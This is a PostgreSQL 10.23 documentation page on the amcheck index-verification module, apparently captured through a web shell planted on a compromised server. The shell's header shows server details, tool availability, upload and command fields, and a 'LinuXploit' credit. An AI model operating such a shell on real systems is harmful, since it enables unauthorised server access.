403Webshell
Server IP : 104.21.25.180  /  Your IP : 104.23.197.123
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/postgresql-docs/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/postgresql-docs/html/amcheck.html
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>F.2. amcheck</title><link rel="stylesheet" type="text/css" href="stylesheet.css" /><link rev="made" href="[email protected]" /><meta name="generator" content="DocBook XSL Stylesheets Vsnapshot" /><link rel="prev" href="adminpack.html" title="F.1. adminpack" /><link rel="next" href="auth-delay.html" title="F.3. auth_delay" /></head><body><div xmlns="http://www.w3.org/TR/xhtml1/transitional" class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="5" align="center">F.2. amcheck</th></tr><tr><td width="10%" align="left"><a accesskey="p" href="adminpack.html" title="F.1. adminpack">Prev</a> </td><td width="10%" align="left"><a accesskey="u" href="contrib.html" title="Appendix F. Additional Supplied Modules">Up</a></td><th width="60%" align="center">Appendix F. Additional Supplied Modules</th><td width="10%" align="right"><a accesskey="h" href="index.html" title="PostgreSQL 10.23 Documentation">Home</a></td><td width="10%" align="right"> <a accesskey="n" href="auth-delay.html" title="F.3. auth_delay">Next</a></td></tr></table><hr></hr></div><div class="sect1" id="AMCHECK"><div class="titlepage"><div><div><h2 class="title" style="clear: both">F.2. amcheck</h2></div></div></div><div class="toc"><dl class="toc"><dt><span class="sect2"><a href="amcheck.html#id-1.11.7.11.7">F.2.1. Functions</a></span></dt><dt><span class="sect2"><a href="amcheck.html#id-1.11.7.11.8">F.2.2. Using <code class="filename">amcheck</code> effectively</a></span></dt><dt><span class="sect2"><a href="amcheck.html#id-1.11.7.11.9">F.2.3. Repairing corruption</a></span></dt></dl></div><a id="id-1.11.7.11.2" class="indexterm"></a><p>  The <code class="filename">amcheck</code> module provides functions that allow you to
  verify the logical consistency of the structure of indexes.  If the
  structure appears to be valid, no error is raised.
 </p><p>  The functions verify various <span class="emphasis"><em>invariants</em></span> in the
  structure of the representation of particular indexes.  The
  correctness of the access method functions behind index scans and
  other important operations relies on these invariants always
  holding.  For example, certain functions verify, among other things,
  that all B-Tree pages have items in <span class="quote">“<span class="quote">logical</span>”</span> order (e.g.,
  for B-Tree indexes on <code class="type">text</code>, index tuples should be in
  collated lexical order).  If that particular invariant somehow fails
  to hold, we can expect binary searches on the affected page to
  incorrectly guide index scans, resulting in wrong answers to SQL
  queries.
 </p><p>  Verification is performed using the same procedures as those used by
  index scans themselves, which may be user-defined operator class
  code.  For example, B-Tree index verification relies on comparisons
  made with one or more B-Tree support function 1 routines.  See <a class="xref" href="xindex.html#XINDEX-SUPPORT" title="37.14.3. Index Method Support Routines">Section 37.14.3</a> for details of operator class support
  functions.
 </p><p>  <code class="filename">amcheck</code> functions may only be used by superusers.
 </p><div class="sect2" id="id-1.11.7.11.7"><div class="titlepage"><div><div><h3 class="title">F.2.1. Functions</h3></div></div></div><div class="variablelist"><dl class="variablelist"><dt><span class="term">     <code class="function">bt_index_check(index regclass) returns void</code>
     <a id="id-1.11.7.11.7.2.1.1.2" class="indexterm"></a>
    </span></dt><dd><p>      <code class="function">bt_index_check</code> tests that its target, a
      B-Tree index, respects a variety of invariants.  Example usage:
</p><pre class="screen">test=# SELECT bt_index_check(c.oid), c.relname, c.relpages
FROM pg_index i
JOIN pg_opclass op ON i.indclass[0] = op.oid
JOIN pg_am am ON op.opcmethod = am.oid
JOIN pg_class c ON i.indexrelid = c.oid
JOIN pg_namespace n ON c.relnamespace = n.oid
WHERE am.amname = 'btree' AND n.nspname = 'pg_catalog'
-- Don't check temp tables, which may be from another session:
AND c.relpersistence != 't'
-- Function may throw an error when this is omitted:
AND i.indisready AND i.indisvalid
ORDER BY c.relpages DESC LIMIT 10;
 bt_index_check |             relname             | relpages 
----------------+---------------------------------+----------
                | pg_depend_reference_index       |       43
                | pg_depend_depender_index        |       40
                | pg_proc_proname_args_nsp_index  |       31
                | pg_description_o_c_o_index      |       21
                | pg_attribute_relid_attnam_index |       14
                | pg_proc_oid_index               |       10
                | pg_attribute_relid_attnum_index |        9
                | pg_amproc_fam_proc_index        |        5
                | pg_amop_opr_fam_index           |        5
                | pg_amop_fam_strat_index         |        5
(10 rows)</pre><p>
      This example shows a session that performs verification of the
      10 largest catalog indexes in the database <span class="quote">“<span class="quote">test</span>”</span>.
      Since no error is raised, all indexes tested appear to be
      logically consistent.  Naturally, this query could easily be
      changed to call <code class="function">bt_index_check</code> for every
      index in the database where verification is supported.
     </p><p>      <code class="function">bt_index_check</code> acquires an <code class="literal">AccessShareLock</code>
      on the target index and the heap relation it belongs to. This lock mode
      is the same lock mode acquired on relations by simple
      <code class="literal">SELECT</code> statements.
      <code class="function">bt_index_check</code> does not verify invariants
      that span child/parent relationships, nor does it verify that
      the target index is consistent with its heap relation.  When a
      routine, lightweight test for corruption is required in a live
      production environment, using
      <code class="function">bt_index_check</code> often provides the best
      trade-off between thoroughness of verification and limiting the
      impact on application performance and availability.
     </p></dd><dt><span class="term">     <code class="function">bt_index_parent_check(index regclass) returns void</code>
     <a id="id-1.11.7.11.7.2.2.1.2" class="indexterm"></a>
    </span></dt><dd><p>      <code class="function">bt_index_parent_check</code> tests that its
      target, a B-Tree index, respects a variety of invariants.  The
      checks performed by <code class="function">bt_index_parent_check</code>
      are a superset of the checks performed by
      <code class="function">bt_index_check</code>.
      <code class="function">bt_index_parent_check</code> can be thought of as
      a more thorough variant of <code class="function">bt_index_check</code>:
      unlike <code class="function">bt_index_check</code>,
      <code class="function">bt_index_parent_check</code> also checks
      invariants that span parent/child relationships.  However, it
      does not verify that the target index is consistent with its
      heap relation.  <code class="function">bt_index_parent_check</code>
      follows the general convention of raising an error if it finds a
      logical inconsistency or other problem.
     </p><p>      A <code class="literal">ShareLock</code> is required on the target index by
      <code class="function">bt_index_parent_check</code> (a
      <code class="literal">ShareLock</code> is also acquired on the heap relation).
      These locks prevent concurrent data modification from
      <code class="command">INSERT</code>, <code class="command">UPDATE</code>, and <code class="command">DELETE</code>
      commands.  The locks also prevent the underlying relation from
      being concurrently processed by <code class="command">VACUUM</code>, as well as
      all other utility commands.  Note that the function holds locks
      only while running, not for the entire transaction.
     </p><p>      <code class="function">bt_index_parent_check</code>'s additional
      verification is more likely to detect various pathological
      cases.  These cases may involve an incorrectly implemented
      B-Tree operator class used by the index that is checked, or,
      hypothetically, undiscovered bugs in the underlying B-Tree index
      access method code.  Note that
      <code class="function">bt_index_parent_check</code> cannot be used when
      Hot Standby mode is enabled (i.e., on read-only physical
      replicas), unlike <code class="function">bt_index_check</code>.
     </p></dd></dl></div></div><div class="sect2" id="id-1.11.7.11.8"><div class="titlepage"><div><div><h3 class="title">F.2.2. Using <code class="filename">amcheck</code> effectively</h3></div></div></div><p>  <code class="filename">amcheck</code> can be effective at detecting various types of
  failure modes that <a class="link" href="app-initdb.html#APP-INITDB-DATA-CHECKSUMS"><span class="application">data page
  checksums</span></a> will always fail to catch.  These include:

  </p><div class="itemizedlist"><ul class="itemizedlist" style="list-style-type: disc; "><li class="listitem"><p>     Structural inconsistencies caused by incorrect operator class
     implementations.
    </p><p>     This includes issues caused by the comparison rules of operating
     system collations changing. Comparisons of datums of a collatable
     type like <code class="type">text</code> must be immutable (just as all
     comparisons used for B-Tree index scans must be immutable), which
     implies that operating system collation rules must never change.
     Though rare, updates to operating system collation rules can
     cause these issues. More commonly, an inconsistency in the
     collation order between a master server and a standby server is
     implicated, possibly because the <span class="emphasis"><em>major</em></span> operating
     system version in use is inconsistent.  Such inconsistencies will
     generally only arise on standby servers, and so can generally
     only be detected on standby servers.
    </p><p>     If a problem like this arises, it may not affect each individual
     index that is ordered using an affected collation, simply because
     <span class="emphasis"><em>indexed</em></span> values might happen to have the same
     absolute ordering regardless of the behavioral inconsistency. See
     <a class="xref" href="locale.html" title="23.1. Locale Support">Section 23.1</a> and <a class="xref" href="collation.html" title="23.2. Collation Support">Section 23.2</a> for
     further details about how <span class="productname">PostgreSQL</span> uses
     operating system locales and collations.
    </p></li><li class="listitem"><p>     Corruption caused by hypothetical undiscovered bugs in the
     underlying <span class="productname">PostgreSQL</span> access method code or sort
     code.
    </p><p>     Automatic verification of the structural integrity of indexes
     plays a role in the general testing of new or proposed
     <span class="productname">PostgreSQL</span> features that could plausibly allow a
     logical inconsistency to be introduced.  One obvious testing
     strategy is to call <code class="filename">amcheck</code> functions continuously
     when running the standard regression tests.  See <a class="xref" href="regress-run.html" title="32.1. Running the Tests">Section 32.1</a> for details on running the tests.
    </p></li><li class="listitem"><p>     File system or storage subsystem faults where checksums happen to
     simply not be enabled.
    </p><p>     Note that <code class="filename">amcheck</code> examines a page as represented in some
     shared memory buffer at the time of verification if there is only a
     shared buffer hit when accessing the block. Consequently,
     <code class="filename">amcheck</code> does not necessarily examine data read from the
     file system at the time of verification. Note that when checksums are
     enabled, <code class="filename">amcheck</code> may raise an error due to a checksum
     failure when a corrupt block is read into a buffer.
    </p></li><li class="listitem"><p>     Corruption caused by faulty RAM, or the broader memory subsystem.
    </p><p>     <span class="productname">PostgreSQL</span> does not protect against correctable
     memory errors and it is assumed you will operate using RAM that
     uses industry standard Error Correcting Codes (ECC) or better
     protection.  However, ECC memory is typically only immune to
     single-bit errors, and should not be assumed to provide
     <span class="emphasis"><em>absolute</em></span> protection against failures that
     result in memory corruption.
    </p></li></ul></div><p>
  In general, <code class="filename">amcheck</code> can only prove the presence of
  corruption; it cannot prove its absence.
 </p></div><div class="sect2" id="id-1.11.7.11.9"><div class="titlepage"><div><div><h3 class="title">F.2.3. Repairing corruption</h3></div></div></div><p>  No error concerning corruption raised by <code class="filename">amcheck</code> should
  ever be a false positive.  In practice, <code class="filename">amcheck</code> is more
  likely to find software bugs than problems with hardware.
  <code class="filename">amcheck</code> raises errors in the event of conditions that,
  by definition, should never happen, and so careful analysis of
  <code class="filename">amcheck</code> errors is often required.
 </p><p>  There is no general method of repairing problems that
  <code class="filename">amcheck</code> detects.  An explanation for the root cause of
  an invariant violation should be sought.  <a class="xref" href="pageinspect.html" title="F.23. pageinspect">pageinspect</a> may play a useful role in diagnosing
  corruption that <code class="filename">amcheck</code> detects.  A <code class="command">REINDEX</code>
  may not be effective in repairing corruption.
 </p></div></div><div xmlns="http://www.w3.org/TR/xhtml1/transitional" class="navfooter"><hr></hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"><a accesskey="p" href="adminpack.html" title="F.1. adminpack">Prev</a> </td><td width="20%" align="center"><a accesskey="u" href="contrib.html" title="Appendix F. Additional Supplied Modules">Up</a></td><td width="40%" align="right"> <a accesskey="n" href="auth-delay.html" title="F.3. auth_delay">Next</a></td></tr><tr><td width="40%" align="left" valign="top">F.1. adminpack </td><td width="20%" align="center"><a accesskey="h" href="index.html" title="PostgreSQL 10.23 Documentation">Home</a></td><td width="40%" align="right" valign="top"> F.3. auth_delay</td></tr></table></div></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit